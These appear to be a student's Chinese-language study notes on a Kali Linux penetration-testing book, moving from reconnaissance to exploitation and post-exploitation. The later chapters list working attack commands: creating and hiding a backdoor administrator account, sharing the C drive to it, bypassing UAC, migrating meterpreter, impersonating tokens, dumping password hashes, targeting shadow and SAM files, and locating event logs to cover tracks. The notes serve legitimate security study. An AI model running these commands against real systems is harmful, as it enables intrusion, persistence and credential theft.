kali linux高级渗透测试学习

作为一个已经大二的网安专业的学生,虽然学校有设立linux编程这门课程;我也选修了,但是课程内容就是教一些基础的linux终端系统语言,效果一般,感觉还是需要个人后续学习深化,所以在这个寒假期间,决定啃下这一本书,也希望我的学习笔记能够帮助到其他人吧。


感谢:书籍编者:Robert W. Beggs
译者: 蒋溢 ,马祥均 ,陈京浩,罗文俊, 祝清意

前言

前言中写了几个基本概念,对后面学习都有一定的帮助,几个关键词也基本囊括了这本书的主要内容,所以下面来简单介绍一下

1.渗透测试方法大多是开源的、非正式的或专门定义的,以此指导测试的过程,主要有以下几个优点:
- 测试过程的部分方法可以自动生成 ,鼓励测试人员把重点放在发现和利用技术创新上;
	- 主要意思是利用一些已知的工具进行初步的渗透检测,比如能用ping扫描发现潜在的目标,而不是完完全全从0开始手搓高楼大厦;其实这也可以类比到计算机学习过程;我们应该站在巨人的肩膀上学习更加前沿的领域;
- 结果是可重复的,允许反复比较,交叉验证测试结果,确定随着时间的推移,目标安全性是否有所改善;
	-意思是可以对同一个漏洞进行渗透测试报告,因为当漏洞被告知时是要进行下阶段的修复的,对同一结果进行渗透可以测试到修复后的安全性,对修复后的安全性进行报告也是一种渗透的反馈;
- 定义的方法在时间和人员的要求方面是可见的,鼓励成本控制并使得成本最小化;
-一些已有的渗透测试框架:Kevin Orrey的渗透测试框架;信息系统安全评估框架;NIST SP 800-115;开源安全测试方法手册;开放web应用安全工程;渗透测试执行标准;攻击(web)测试框架;
- 渗透测试不一定要完全遵守上面说的几个渗透测试框架,很多渗透测试员不墨守成规是担心模型会阻碍他们进行网络渗透的创造力;
2. 渗透测试的“杀链”方案;
- 为了解决形式化测试方法所固有的局限性,将测试方案整合到一个框架中。
- 也被称为“攻击者杀链”;包含攻击者采取的步骤;不总是一个线性流呈现,因为一些步骤可能会并行出现。多发攻击可以对同一个目标瞬时进行多种攻击,并且在同一时间攻击步骤可能发生重叠。
- 不过书中要介绍的杀链是被修改过的
3. 一个攻击者的典型杀链可以描述为:
- 侦察阶段
	- 被动侦察;主动侦察;
- 交付阶段;
- 利用或攻击阶段
- 后期利用阶段
- 后期利用

在此做一个简单的杀链描述:
侦察阶段大概需要占到百分之七十的占比,所谓“知己知彼,百战百胜”;其中被动侦察这种方式
不直接于目标以敌对方式进行交互,类似于社会工程的攻击;主动侦察这种方式则是可以被检测
到的;比如物理访问目标前端,扫描端口等;交付阶段主要是选择和开发武器,比如后门植入,
方面之后的攻击;利用或攻击阶段,就是对之前植入的武器进行利用,开始对系统进行攻击,不
仅限于一两种,多情景攻击是常态;后期利用阶段,攻击阶段的一个延续,最常见的就是试图提
权;后期利用,具有持久性,因而需要与被攻破的系统保持通信,不过这也使攻击者处于一个易
暴露的状态

书中涵盖的内容:

分为两个部分:
一、杀链的步骤,详细分析每个阶段
二、 专注于交付阶段和一些有用的方法,来明确攻击是怎么发生的,以及如何用这种方法来保护网络;

第一章 走进kali linux

kali linux因其工具齐全,所以适合用来进行渗透测试;
由于这一章主要关于配置好kali linux的内容,下面将记录一些初学者必要性的配置,以及配置流程

下面主要对虚拟机中建立与主机的共享文件夹操作进行叙述;
方法来源于B站-大笨兔兔发布的视频,同时也有书中在主机中创建共享文件夹的参考:

  • 在主机操作系统上建立一个文件夹;此处我命名为kali_share;

  • 右击文件夹选择 属性-共享-共享
    共享文件夹主机配置1

  • 选项中下拉找到everyone-点击添加-权限修改为读取/写入 - 共享;

  • 点击高级共享 - 点击权限 -查看是否有everyone -没有则进行添加,有则退出;

至此主机共享文件夹配置完毕

  • 打开vmware - 选中kali Linux虚拟机-打开虚拟机配置- 选择 选项 -点击共享文件夹 - 选择总是启用
  • 点击添加 - 选择主机中共享文件夹路径 - 选择启用此共享选项;

接下来进行虚拟机内的挂载

  • 打开虚拟机 - 打开终端 - 在终端依次执行以下命令:
sudo su
sudo modprobe vmhgfs
sudo mkdir -p /mnt/hgfs
sudo vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other

此时点击桌面的文件系统 查看 /mnt/hgfs 目录,可以找到共享的文件夹;
则文件夹被成功挂载,但是开机重启会导致挂载失效,接下来我们设置自动挂载;

  • 依旧是在终端运行
sudo nano /etc/fstab
  • 此时终端打开了文件fstab,我们另起一行写下以下指令:
.host:/ /mnt/hgfs fuse.vmhgfs-fuse allow_other,noauto,x-systemd.automount 0 0

配置的是访问 /mnt/hgfs文件夹时自动挂载,而不是开机就挂载,避免出现问题;

  • ctrl+x 退出编辑;输入y进行保存;再回车退出;
  • 在终端输入以下命令:
sudo systemctl daemon-reload
reboot

此时kali将会重启,等待重启后在终端检查是否挂载成功:

cd /mnt/hgfs
ls

此时可以看到终端显示了共享文件夹的名称;
后续可以自行在共享文件夹中创建文件并在两个系统中查看检查使用;

kali加密文件夹的创建
对渗透测试获得的需要保密的重要数据进行加密,保证数据的安全性,是测试人员的法律责任和道德责任,但书中推荐使用的truecrypt加密方案已经不安全,所以我使用了veracrypt来代替,运行下述命令可以将工具克隆到对应的位置;

git clone https://github.com/veracrypt/VeraCrypt.git

具体的使用方法自行查阅,这里不加以赘述;书中对加密文件夹的创建教程主要是为了突出对敏感数据加密的重要性;

第三方应用程序的管理
安装方式:① apt-get命令安装;②访问GitHub资源库;③直接安装应用程序;

后续需要使用recon-ng工具作为网络侦察框架;所以下面进行从GitHub上克隆recon-ng当前版本的步骤简介:

  • 在终端依次执行以下命令行;
cd /opt; git clone https://github.com/lanmaster53/recon-ng.git
cd opt/recon-ng
./recon-ng

最后一句运行之后会进入recon-ng启动界面;具体后续操作依照个人所需完成之后输入back退出即可;

第二章 确定目标——被动侦察

这一章我们将学习如何有效利用开源情报(OSINT)来识别目标的脆弱性攻击表面和创建特定的用户密码表,这会使社会工程学攻击和其他攻击变得更容易;

开源情报收集

DNS侦察和路由映射

获取用户相关信息

分析用户密码列表

开源情报收集;

主要通过OSINT(公共资源)上收集情报,因为被动侦察是不能被发现的,所以不能直接与目标发生具有攻击性的交互,很容易被对方的防御系统IDS之类的检测到;而仅从公共资源中获取信息的步骤又十分的复杂,书中推荐了两个手册:美国军用手册APT 2-22.9和NATO OSINT手册,这两个手册在怎么收集和访问OSINT 方面提供了极好的技术综述;对社工感兴趣的可以看看;

收集开源情报可以帮助渗透测试员确定其有把握的渗透测试方向;例如某公司在最近的公示中写到将要引入某公司某产品服务,那么就可以通过查询供应商对应的产品报告,或者产品维修通知,来找到渗透测试的切入点;

DNS侦察和路由映射

测试员确定感兴趣的目标在线后,下一步就是识别目标的IP地址和路由;
DNS侦察关心的是:识别谁拥有一个特定域或一系列IP地址;定义实际域名DNS信息和标识目标的IP地址;以及在渗透测试员或攻击者与最终目标之间的路由;
下面叙述实现的一一实现的方式:

whois

研究IP地址空间的第一步是识别分配给目的网站的地址;
可以理解为查找相关的公共数据库获得目标域的一些信息;

用whois命令查数字国防
用whois命令查百度
如图可知,通过whois能够查询到域名;时间;电话;地理信息等;

DNS侦察

由于DNS是一个记录域名与IP映射关系的服务器;所以攻击者可以通过向DNS发送服务请求,以此获得IP;即使DNS会记录查询者的IP地址,使得暴露风险增高,利用kali提供的工具以及不同的IP协议也可以实现风险最小化和利益最大化;
kali有几个工具可以用来帮助DNS侦察:

  • 综合性:dnsrnum , dnsmap 和 dnsrecon
    综合性的DNS扫描器——DNS记录详细目录(A,MX,TXT,SOA,通配符等)、子区域暴力攻击、谷歌查找、反向查找、区域转换以及区域移动。
    以上是使用综合性dns能够实现的功能;

    • 首先DNS记录详细目录是支持批量查询基础的DNS记录,会输出结构化数据,如下图:
      利用dnsrecon命令查询google
      包括SOA记录域权威信息;NS名称服务器;MX邮件交换主机;SPF发送者策略框架;以及使用的IP地址范围;TXT记录SPF/DKIM等安全策略;通配符(dnsmap):支持通配符检测,识别泛解析配置的域名;
    • 子区域暴力攻击可以理解为用内置字典暴力枚举,也可通过自定义字典扩展覆盖范围,主要是在已知的dns域名内再延申暴力破解出细化的dns域名与IP的映射,这里举个例子会更好理解,假设现已知DNS域名与IP映射关系为:abc.com–> 192.168.1.1则字典暴力枚举或许可以得到子域 abc.com/bcd --> 192.168.1.12的映射关系;
    • 谷歌查找(dnsrecon):集成谷歌查找模块,通过搜索引擎获取潜在子域;可以理解为利用谷歌的数据库去查子域;
    • 反向查找:解析IP到域名映射
    • 区域转换以及区域移动(dnsrecon)
  • dnstracer: 决定了从哪里得到一个给定的域名系统DNS的信息,并随着DNS服务器,回到拥有数据的服务器;

  • dnswalk:DNS调试器,为规定的域检查其内部的稳定性和准确性;
    有时dns服务器为及时更新可能存在错误的域名–ip映射,所以才会有准确性一说;稳定性是假设同时有多个查询任务,该服务器是否能够及时且准确的做出响应。

  • fierce:暴力破解;针对规定的域,试着通过区域转换和蛮力攻击得到DNS信息,定位非连续的IP空间和主机名。

大多数调查者运行fierce来确认所有可能已经识别的目标,然后运行至少两个综合性工具来产生最多的数据,并提交一个交叉确认等级

对于位数更长的IPv6,kali也有对应的工具如:nmap、dnsdict6、dnsrevennum6

映射路由到目标

通过ICMP超时返回数据包来映射路由;
启动traceroute;利用TTL每一跳减少1的原理;得到路由信息;
在这里插入图片描述
可以看到除了第一个剩下的均为*号,*其实表示数据
只是kali中的traceroute是用于UDP数据报,对于其他类型的报文,无法解析,所以 *的形式输出,因此需要使用多重协议才行;
hping3提供了一个类似于ping的接口界面,支持TCP,UDP,ICMP,raw-IP,是一个TCP/IP数据包的汇编器和分析器;
intrace以及trace6都是kali提供的路由扫描工具;

获得用户信息

收集用户名和电子邮件地址,用于登录目标系统;
①利用theHarvester工具进行搜索
利用百度查找百度域名下的子域名

②收集文件元数据;
元数据主要是不是最终用户直接可见的,但是随着公开文件被一起公布的,比如你无法知道照片拍摄的手机型号,但是现在很多照片在下载到自己手机后,可以在照片信息处查到手机型号,又或者是可以从焦距以及滤镜得出手机型号,其中手机型号就不是用户直接可见的,但是随着被公开的照片会一起被公布;
利用metagoofil搜索
通过执行谷歌搜索来确定并下载目标网站的文件并提取 用户名 、软件版本 、 存储路径名 ,以及服务器或工作站名;

分析用户密码列表

收集到目标机构的用户名和生物信息后,可以利用这些信息创建用户的密码列表;
CUPP 通用用户密码分析器可以对特定的用户生成特殊的wordlist文件;
需要在终端进行CUPP的git克隆

git clone https://github.com/Mebus/cupp.git
cd cupp
python cupp.py -i

最后一句为cupp调用命令,依照导向进行信息填入,cupp将在目录下创建一个txt文件用于存储wordlist

第三章 主动侦察和漏洞扫描

主动侦查可以获得更多有用的信息但也由于与目标系统直接交互,导致暴露风险增大,所以在主动侦查的过程中 也要学会隐形的,不易察觉的侦查技术。

隐藏扫描源

对目标扫描操作

识别网络上可接入的基础设备(开放的服务)

扫描活动主机(从个体切入系统)

利用指纹访问开放的服务,寻找薄弱点

漏洞扫描(放弃隐身)

隐形扫描策略

这一部分主要讲述,在与目标系统直接交互的过程中 如何伪造凭证,系统记录的信息为错误信息,则难以定位到攻击者或渗透测试员。
主要包括三个方面

  • 调整源IP栈和工具识别设置
    禁用IPv6,确保所有数据流都通过IPv4代理路由
    测试工具,用工具来攻击系统,确定那些攻击数据包被标记,对于这些被标记的数据包,后续使用需要进行修改。
    识别标签最简单的方法就是自己设置一个虚拟目标,实现进行演练,排查自身过于明显的攻击,不是所有攻击都适用于所有系统,测试员通过之前被动侦察过程确定的大致方向之后还需要进行攻击实施方案或者攻击操作的细化。
    对于被抓取被标记为攻击数据包的数据包需要对其中会暴露攻击者信息的字段进行必要的修改替换,注意替换后仍要遵守对应的传输协议,否则修改之后数据包传不出去也是无用的。
    举个例子:数据包中的UA(用户代理)体现出数据包来自于MSF,某些防御系统对来自于MSF(一个综合性渗透工具)的数据包会进行检测甚至丢弃,此时将UA改为Googelbot(谷歌的索引蜘蛛程序,是一种常见的自动化应用程序)这时就能减少网站所有者的注意。

  • 修改数据包中的参数
    主动侦查最常见的方法是对目标发动扫描 ,发送定义的数据包到目标,然后利用返回的数据包来获取信息。
    我们需要学会利用nmap来修改数据包,达到避免检测并随后报警的效果。
    具体实现方式:
    ① 发送需要确定目标的最小数据包,发送数据包以确定某端口是否开放,需要注意最小化原则
    ② 尽量避免与目标系统直接链接扫描,避免可能泄露数据的扫描,不用使用ping,与目标ping通后建立对等连接,这个连接是实时的,非常容易暴露自身;不要使用SYN同步数据包,以及其他非常规数据包进行扫描(ACK,FIN,RST)这些都是建立端到端通信时使用的数据包,容易暴露自身ip位置。
    ③ 随机化或欺骗分组设置
    ④调节定时,延长扫描时间,建立一个缓慢的扫描,不易被发现
    ⑤ 分解包或加入随机数据改变包的大小,混淆目标系统的检测
    具体操作举例如下:

nmap 

但有时候就是需要传输一些不常用的数据包才能达到想要的目的,此时可以使用匿名网络;

  • 使用代理的匿名网络
    Tor 和 Privoxy
    Tor是第三代洋葱路由,通过保护用户的IP流的源地址和目的地址,抵御流量分析的攻击,这里可以知道洋葱路由器直接防御的对象其实是中间人,但是由于其加密双方的特点,可用于影藏扫描源的信息。
    下面对Tor下载流程进行叙述:
    Tor的使用也有一些注意事项,虽然提供了匿名服务 但是不能保证完全隐私;Tor浏览器套件中的漏洞也可以用来获取用户信息;不处理UDP流量;一些渗透工具可能无法使用像MSF,Nmap等;确保浏览前清理了cookie;某些应用程序可能用于获取IP地址;

识别网络基础设施

这一步是为了更好了解目标系统的安全体系结构和一般安全
比如谷歌在网站上同时使用了 DNS—负载平衡和TCP—负载平衡,有可能使得渗透测试者在接收到的数据包是杂散的,了解目标系统的安全体系结构,可以进一步分析的信息数据,获得更多的针对性信息。

枚举主机

主机枚举是获得特定主机的特定细节的过程。
这一步具有高度入侵性,很容易暴露扫描源
利用kali提供的几种扫描器,扫描目标ip的活动,即发现活动的主机,简单来说就是找这个主机(目标系统中的主机)除了日常工作外,还有什么其他活动。
或许在每天午休时间,该主机会与某个有易攻破漏洞的游戏服务器进行链接,这个时候可以将主要目标转为攻击相对捡漏的游戏服务器,以游戏服务器—活动主机—目标系统 这个思路进行入侵。
kali提供的工具主要有:

端口、操作系统和发现服务

在枚举主机中我们能够得到可用的主机(即用这个用户/主机信息去访问开放的服务端口能够得到有效回应),有些开放端口服务对象并不是所有人,所以需要特定的身份用户进行访问才会得到有效的回应,有效回应能够帮助我们分析得到更多目标系统的信息。

  • 端口扫描
  • 指纹识别操作系统
  • 确定主动服务
    侦查的枚举部分的最终目标是确定运行在目标系统上的服务和应用
    如果可以的话,进一步确认服务类型、供应商、证书以此确定具体的漏洞。
    • 确认默认的端口和服务
    • 标志提取
    • 审查默认网页
    • 审查源代码

采用综合侦查应用

书中介绍了nmap recon-ng maltego三个kali的综合侦查应用,各有优点,这里不做赘述。

漏洞扫描

漏洞扫描采用自动化过程和自动化应用程序,以确定在网络、系统、操作系统或应用程序中可能利用的漏洞。
漏洞扫描过程噪声很大,是牺牲隐身性的,且漏洞扫描器是基于签名进行扫描,只能检测已知的漏洞。

第四章 漏洞利用

侦查的目的是找出可利用的漏洞,便于后续攻击
杀链的利用阶段的重点是创建访问以到达目标,或者通过创建拒绝服务以停止目标的接入服务,又或者,创建攻击者与目标建立持久的接入关系。
在进行漏洞利用之前,攻击者需要对目标系统的网络和主机架构进行全方位的了解。

威胁建模

威胁建模通过将目标细化为可行小目标,将攻击目的进行可行的方案落实,能够为攻击者提供一定的攻击思路,并且在某项小目标无法实现时能够快速找到替代方案,避免浪费时间。

  • 目标类型:
    • 首要目标:当这些目标被击垮时,这些目标将直接帮助攻击者达到目的;
    • 次要目标:这些目标可以提供信息(安全控制、密码、登录政策、本地,以及域管理员名字和密码)以支持对首要目标进行攻击或访问;
    • 第三目标:这些目标可能与测试或攻击无关,但是相对容易攻击,可以为实际攻击提供信息或者其他的思路;

威胁模型的攻击树举例:

需要获取
专用工程项目

击垮工程师的
服务器

攻击工程师的
电子邮件账户

使用键盘记录器
获得证书

利用已知的缓冲区
溢出来获得根访问

利用漏洞访问
网络接口

使用在线和本地漏洞资源

这一部分是简述如何寻找漏洞,可以从在线漏洞资源中寻找供应商的漏洞,也可以从kali本地的漏洞数据库进行查询,注意查询搜索时搜索词的顺序很关键。
在kali本地漏洞数据库搜索漏洞的流程:

cd /usr/share/exploitdb
searchsploit -u
searchsploit [keyword]

其他使用可以通过searchsploit -h查看帮助文档了解;

kali对搜索到的漏洞进行利用流程:
执行searchsploit samba
如图,图片为执行了命令searchsploit samba后返回的搜索到的漏洞,如果要对其进行利用流程如下:

cd multiple/remote
cp 10.c /tmp
cd /tmp
ls
gcc 10.c -o 10.exe

漏洞利用过程简析:先跳转到对应的目录;将文件拷贝到临时文件夹/tmp下,跳转到临时文件夹,ls确认临时文件夹中是否已经拷贝需要的漏洞利用文件;因为文件为c语言文件,所以需要用gcc进行编译后才能使用;
其他文件则是实现拷贝后,对应脚本文件语言打开运行即可,例如:

perl 8006.pl

此部分还需要着重注意的是,由于脚本来自于免费的漏洞数据库,其中不免有些会有蓄意错误或者是不完整;并且对于初学者来讲,直接不假思索执行脚本是不允许的,因为有可能脚本中会在机型概念验证(POC)练习时,在应用程序中建立一个后门,这就给所测试的系统带来了危险;所以渗透测试一般采用渗透利用框架进行

框架介绍:

  • Metasploit框架:基于Ruby语言的开源渗透工具,采用 了模块化的方式来完成渗透测试,使得它易于扩展和编写代码,易于实现复杂攻击;
    • 渗透模块:该代码片段针对特定漏洞;
      主动渗透会针对某个特定的目标进行持续性的渗透,直到完成任务;
      被动渗透则是等待进入主机连接时再进行渗透;
    • 有效载荷:在成功渗透后立即执行的恶意代码
    • 辅助模块:执行扫描、模糊或嗅探等相关功能以支持渗透测试,不直接在测试者和目标系统之间建立访问路径;
    • 后期模块:成功攻击目标后,在受损目标上运行的模块,收集有用的数据,便于后期深入攻击;
    • 编码器:当渗透必须绕过杀毒防御时,该模块可对有效载荷进行编译,使得它不会被签名匹配技术检测到;
    • 无操作(NOP):在攻击时用来促使缓冲区溢出的;

使用Armitage的多目标渗透

Armitage在可视化的环境下;不仅拥有Metasploit的功能,还允许在同一个时间测试多个目标;
详细使用教程可自行查找学习,这里不做赘述;

绕过IDS与反病毒侦测

大多数反毒软件依靠签名匹配来定位病毒和其他恶意软件,metasploit框架允许独立的可执行文件通过编码来绕过检测,但降低了其绕过AV软件的有效性;Veil-Evasion可作为新的解决工具,它增强了绕过杀毒软件、检测软件的能力。

在接下来的两章中将重点介绍攻击者杀链最重要的部分——后期利用活动。

第五章 后期利用——行动的目的

后期利用活动包括盗窃和泄露数据(专有信息或经济信息),横向扩展利用访问控制,并通过盗窃用户凭据来纵向扩展

对于被攻破的系统,攻击者一般会尽心以下操作:

快速评估系统确认本地环境特征

找目标文件,通常为数据文件等

创建额外账号

尝试获取更高级别的用户权限/尝试攻破管理员账号

尝试攻破其他数据系统

安放后门

消除被入侵系统的入侵标志

5.1 绕过WINDOWS用户账户控制

  • 安全控制策略:高中低三级划分;高等级别的进程具有管理员权限;中等级别的进程拥有基本用户权限;低等级别进程的权限是受限的;
  • UAC设置4个要求:始终通知 ,在任何是恶,有程序要使用更高级别的权限时,提醒本地用户; 仅在程序试图更改我的计算机时通知我,默认设置;只有当程序试图更改我的计算机时通知我(不降低桌面的亮度)从不提示
whoami /group
# 知道1.哪个用户是系统已经识别的用户;2.在该系统中,这些用户具有什么权限;
  • 为了更多后期利用步骤的成功,测试人员是要将用户权限从标准用户提升到管理员权限
  • 提权 - 使用Metasploit框架;
    • 在其上运行exploit/windows/local/ask命令,发起RunAs攻击;该攻击可以创建一个可执行文件,当文件被触发时,会运行一个发起提升权限请求的程序;并且,为了避免该程序被杀毒软件检测到,需要用EXE::Custom选项或者Veil-Evasion进行加密;
    • 缺点:执行RUNAS时,程序试图修改计算机设置,系统会对用户进行提醒,此警报可能使得权限提升被认定为攻击;
    • 如果①系统当前的用户在管理员组,②用户账户控制程序UAC设置为默认;即仅在程序试图改变我的计算机时通知我;攻击者可以使用Metasploitexploit/windows/local/bypassuac 模块来提升其特权;虽然模块创建的多个工件可以被大多数杀毒软件识别,但是由于bypassuac_inject模块直接运行在内存中的反射DLL中不触碰硬盘,最大限度的降低了被杀毒软件检测到的概率;
  • 水平/横向升级,如果当前用户是具有其他系统本地管理员权限的域用户,可以用现有的身份验证令牌来获取并绕过UAC;使用Metasploit的exploit/windows/local/current_user_psexec;

5.2 对已入侵的系统进行快速侦察

  • 攻击者入侵系统后,需要快速获取该系统的关键信息;包括网络环境,用户和用户账号等;
  • 对于不同系统执行的侦察命令也有所不同;
  • UNIX:
    • /etc/resolv.conf :使用copy命令来访问和查看系统当前的DNS设置,因为它具有读取权限的全局文件的权限,不会触发警报
    • /etc/passwd 或 /etc/shadow: 这些是包含用户名和密码散列的系统文件,拥有root级别的用户可以复制它,并且密码可以使用工具破解;
    • whoami 或 who -a:确定一个本地系统的用户
    • ifconfig -a 、 iptables -L -n、netstat -r:提供网络信息,ifconfig -a提供IP 地址的详情 、 iptables -L -n列出本地防火墙的所有规则 、netstat -r 显示由内核维护的路由信息;
    • uname -a:输出内核版本;
    • ps aux:输出当前运行的服务,进程号和附加信息;
    • dpkg -l yum list | grepinstalled 、 dpkg -l rpm-qa --last |head:确定所安装的软件包;
  • windows:
    • whoami /all :列出当前用户、SID安全标识符、 用户权限和所属用户组
    • ipconfig /all 、 ipconfig /displaydns: 显示有关网络接口信息、连接协议和本地DNS缓存;
    • netstat -bnao 、 netstat -r : 列出相关进程的端口和连接(-b) ,数字显示(-n) ,所有连接(-a) ,父进程ID(-o),-r 选项可以显示路由表信息,都需要管理员权限运行;
    • net view 和net view /domain: 查询NBNS/SMB 定位到当前工作组或域中的所有主机,对于由/domain给出的主机,所有的域都是有效的;
    • net user /domain: 列出域中定义的所有用户;
    • net user %username% /domain 获得关于当前用户的信息,如果他们是查询域的一部分;(如果你是本地用户,/domain是不必要的)它包括登录时间,最后一次密码更改时间,登录脚本和组成员;
    • net accounts: 输出本地系统的密码策略,使用net accounts /domain 来获得本地域的密码策略;
    • net localgroup administrators: 打印管理员的本地组的成员。使用 /domain切换,获得当前域的管理员;
    • net group "Domain Controller" / domain : 打印当前域的域控制器列表;
    • net share : 显示当前的共享文件夹,但是,可能不能对文件夹中的共享数据和它们所指向的路径提供足够的访问控制权限;
  • 使用WMIC的脚本语言:
    • 如果被渗透系统支持WMIC,可以使用以下脚本语言:
    • wmicnicconfig get ipaddress,macaddress:获得IP 和MAC 地址
    • wmic computersystem get username:获得计算机系统名称,验证被攻破的账户
    • wmicnetlogin get name,lastlogon:获得最后一次登录的用户名;确定是谁最后一次使用该系统,最后一次登录的时间;
    • wmic desktop get screensaversecure,screensavertimeout:确定屏幕保护程序是否又密码保护和什么时候超时;
    • wmic logon get authenticationpackage:确定支持哪些登录方式
    • wmic process get caption,executablepath,commandline:标识系统进程
    • wmic process where name="process_name" call terminate: 终止系统进程
    • wmin os get name,servicepackmajorversion:确定系统的操作系统;
    • wmic product get name, version:标识已安装的软件
    • wmic product where name="name' call uninstall / nointeractive:卸载或删除定义的软件包
    • wmic share get /ALL mic/node:"machinename" path Win32_:标识用户设置的共享;
    • TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections"1": 远程启动RDP;
    • wmicnteventlog get path,filename,writeable: 找到所有的系统日志,并确保他们可以被修改,(在需要掩盖痕迹时使用)
  • 基于.NET框架的脚本语言PowwerShell
    • 从控制台上运行,提供用户访问windows文件系统和对象的接口,支持复杂操作,且由于时windows操作系统的自带程序所以使用命令不会触发杀毒软件,不会写入磁盘,因而可以绕过反病毒软件和白名单过滤;
    • 支持一些被称为cmdlets的内置函数(UNIX命令)
  • 一些kali工具:nmap、onesixtyon、snmpcheck

5.3 找到并提取敏感数据——掠夺目标

一个系统被攻占后,攻击者完成偷窃和修改个人财产以及财务数据的行为;
攻击者侦察后聚焦于第二目标:系统文件

  • 对于UNIX:
    • 系统和配置文件(/etc或者/usr/local/etc等)
    • 密码文件(/etc/passwd或者/etc/shadow)
    • 配置文件和在.ssh目录中的公钥和私钥
    • 可能包含在.gnupg里的公钥和私钥
    • 电子邮件和数据文件
  • 对于Windows:
    • 可被用来提取口令、加密密钥等的系统内存
    • 系统注册表文件
    • 安全账号管理数据库(SAM),包含口令的散列版本或者SAM数据库的替代版,可以在%SYSTEMROOT%\repair\SAM与%SYSTEMROOT%\System32\config\RegBack\SAM中找到
    • 任何用于加密的口令文件或者种子文件
    • 电子邮件和数据文件
  • 除以上文件外,还要检查包含临时项目的文件夹,可能包含有用的图片,文件,cookies;
  • 获取系统文件-系统内存
    • 通过上传一个工具到被攻击的系统然后直接复制内存
    • 通过复制windows冬眠文件hiberfil.sys,然后用Volatility解密和分析文件。
      • volatility框架时设计来取证、分析内存的一系列python脚本,如果操作系统支持,Volatility会扫描内存文件并提取以下内容:图片信息和系统数据,充分到可以将映像与源系统联系在一起;运行进程、DLL、线程、套接字、连接和模块; 开放的网络套接字和连接,最近打开的网络连接; 内存地址,包括物理的和虚拟的内存映射;LM/NTLM散列和LSM私钥;特定的正则表达式或字符串存储在内存中;
    • 通过复制一个虚拟机,然后将VMEM文件转化为内存文件;

5.4 创建附加账户

命令虽然具有高侵略性,容易被检测到,但是可以用于转移系统拥有者对更持久的访问机制的注意;

  • net user attacker password /Add : 用attacker作为用户名,创建一个本地用户,以password作为密码;
  • net localgroup administrators attacker /add: 添加新用户attacker到本地管理组,在某些情况下,这个命令是 net localgroup administrators /add attacker
  • net user username /active:yes /domain: 将一个不活跃或禁用用户变成活跃用户,在一个小组织中,这样做会吸引注意。不善于密码管理的大企业,有30%的口令被标记为不活跃,所以,这可能是增加一个有效用户的方法;
  • net share name$=C:\ /grant:attacker,FULL /unlimited: 分享C盘,使其作为一个windows共享,赋予attacker用户访问或者修改在驱动上的所有内容的权力;
  • 使所建新用户不可见:
    • 利用REG修改注册表;
    REG ADD 
    HKEY_LOCAL_MACHINE\SOFTWARE\Mircrosoft\WindowsNT\CurrentVersion
    \WinLogon\SpecialAccounts\UserList /V account_name / 
    T REG_DWORD  /D 0
    
    • 需要先确定windows版本,然后在攻击之前在一个可控环境内验证可行性;修改指定的注册表来隐藏用户账户(/V)

5.5 使用Metasploit工具进行后期渗透活动

使用5.1-5.4中介绍的命令,下面我们利用metasploit工具来进行一次模拟。

  • 假设我们已经成功渗透了一个windowsXP 系统
  • 第一步:直接侦查网络和被攻击系统
    • 初始的meterpreter shell在一段时间内是脆弱的和易受攻击的,因此一旦一个系统被攻击我们将移动这个shell,与更加稳定的进程绑定在一起。
metepreter> ps
# 查看一系列进程的运行,寻找最稳固的进程
  • 当我们找到了更稳固的进程时,需要将shell移动到这个进程下
metepreter> migrate 1430
#1430是对应更稳固的进程号,实操中因情况而异
  • 与远程系统有了稳定的联接后,后续的入侵利用可以依赖metepreter脚本
  • 首先确认是否在一个虚拟机上
msf> exploit
meterpreter> run checkvm
#可以确认是否在一个虚拟机上
  • meterpreter后期利用模块:
    • run checkvm:确定是否有一个虚拟机存在

    • run getcountermeasure:检查被入侵系统的安全配置(反病毒软件、防火墙等)

    • run …

    • winenum(windows enumerator)是最有效的meterpreter脚本之一,同时使用命令行和WMIC来获得目标系统的全面表征。

5.6 在已入侵主机上提升用户权限

用户权限提升过程,垂直升级

Guest

User

Adminnistrator

SYSTEM

  • 获得高级访问凭证方法
    • 使用网络嗅探器、键盘记录器,捕获传送用户凭证
    • 对本地存储的密码进行检索,有些用户收集电子邮件文件夹的密码,由于密码重复使用,简单的密码系统是很常见的,找到那些密码并在升级过程中使用。(密码本攻击)
  • 使用meterpreter从操作系统和缓存密码的应用程序中分离出密码
    • 使用metepreter或者hobocopy、fgdump、pwdump(使用metepreter将这些应用程序上传到目标系统上)等应用程序来转储SAM和SYSKEY文件。
    • 使用类似于process injector 的工具直接将恶意代码注入到系统级运行服务中
    • DLL劫持:一些程序加载时,使用特殊的顺序读取动态链接库(DLL)文件,所以可以创建一个同名的假DLL文件,放在特定目录,让应用程序加载并执行,最终实现提权
    • 利用缓冲区溢出,或其他手段来提权的渗透方式
    • 通过meterpreter执行getsystem脚本,自动将管理员权限提升至系统级别

5.7 使用incognito 重放身份验证令牌

  • 令牌是临时密钥,允许在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在在一个系统中,除非系统重启
  • 一旦入侵了令牌系统,就可以在不需要破译密码的前提下,使用令牌去冒充生成该令牌的用户,伪造令牌允许攻击者提升权限。
use incognito
list_tokens -u
# 列出被感染系统上存在的所有有效令牌
# 可以看到两类令牌:一种是授权令牌,支持交互式登录;一种是模拟令牌,是非交互式会话。
\impersonate_token [令牌号]\\[令牌身份]
# 调用impersonate_token 伪造令牌,就可以获得令牌身份对应的是权限
# 此时在meterpreter提示符下运行shell命令并输入whoami,系统会认定我们是伪造令牌上的身份
  • 使用windows凭据编辑器操作访问凭据

    • windows凭据编辑器(WCE)是一个精简版的incognito
    • 用户可以使用WCE执行以下操作:
    • 在windows系统上执行pass-the-bash攻击
    • 从系统存储器上收集NTLM凭据
    • 从windows系统上收集Kerberos票据获取访问权限
    • 使用从其他windows或者UNIX系统上获得的Kerberos票据获取访问权限
    • 由windows系统转储明文密码
    • 使用时需要先用meterpreter将wce上传到系统上,然后输入命令,wce.exe -w提取密码
  • 从管理员升级到系统管理员

    • 利用at命令,实现特级权限到系统权限(已经是系统管理员身份)
    • at命令是windows的一个特定的时间分配任务的命令,且总是在系统级权限上运行。
    • 实现流程:
meterpreter> shell
#使用一个交互式shell
C:\>at 12:51 /interactive cmd
# 打开一个命令提示符,并确认被感染系统的本地时间,采用24h制,在稍晚的时间安排一个交互式的命令shell
getuid
# 命令执行后,在meterpreter命令提示符下,再次确认访问权限

除了垂直升级外,还有通过利用已入侵的A系统中的用户去攻击B系统中的用户,实现横向升级的办法

5.8 消除痕迹

  • 完全删除windows事件日志
